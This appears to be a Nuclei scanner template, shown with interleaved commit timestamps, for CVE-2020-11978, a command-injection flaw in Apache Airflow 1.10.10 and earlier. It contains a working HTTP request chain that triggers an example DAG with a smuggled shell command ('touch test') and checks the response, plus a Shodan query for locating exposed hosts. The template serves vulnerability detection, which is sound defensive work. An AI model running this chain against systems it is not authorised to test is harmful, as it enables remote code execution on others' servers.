2021-06-03 08:27:09 +00:00
id : CVE-2020-11978
2022-04-22 10:38:41 +00:00
2021-06-03 08:27:09 +00:00
info :
2022-07-26 13:45:11 +00:00
name : Apache Airflow <=1.10.10 - Remote Code Execution
2021-06-03 08:27:09 +00:00
author : pdteam
severity : high
2022-07-26 13:45:11 +00:00
description : Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://github.com/pberba/CVE-2020-11978
- https://twitter.com/wugeej/status/1400336603604668418
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-11978
2022-08-27 04:41:18 +00:00
remediation : If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-11978
2023-07-11 19:49:27 +00:00
cwe-id : CWE-78
epss-score : 0.97524
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
2022-05-12 14:18:36 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 4
2022-05-12 14:18:36 +00:00
shodan-query : http.html:"Apache Airflow" || title:"Airflow - DAGs"
2023-06-04 08:13:42 +00:00
verified : true
2023-07-11 19:49:27 +00:00
vendor : apache
product : airflow
2022-07-21 17:18:22 +00:00
tags : cve,cve2020,apache,airflow,rce,kev
2021-06-03 08:27:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-03 08:27:09 +00:00
- raw :
- |
GET /api/experimental/test HTTP/1.1
Host : {{Hostname}}
Accept : */*
- |
GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
Host : {{Hostname}}
Accept : */*
- |
POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : application/json
{"conf": {"message": "\"; touch test #" }}
- |
GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
Host : {{Hostname}}
Accept : */*
req-condition : true
2023-07-11 19:49:27 +00:00
2021-06-03 08:27:09 +00:00
matchers-condition : and
matchers :
- type : dsl
dsl :
- 'contains(body_4, "operator":"BashOperator")'
2023-06-19 21:10:30 +00:00
- 'contains(header_4, "application/json")'
2022-06-16 04:33:41 +00:00
condition : and
2023-07-11 19:49:27 +00:00
extractors :
- type : regex
name : exec_date
group : 1
regex :
- '"execution_date":"([0-9-A-Z:+]+)"'
internal : true
part : body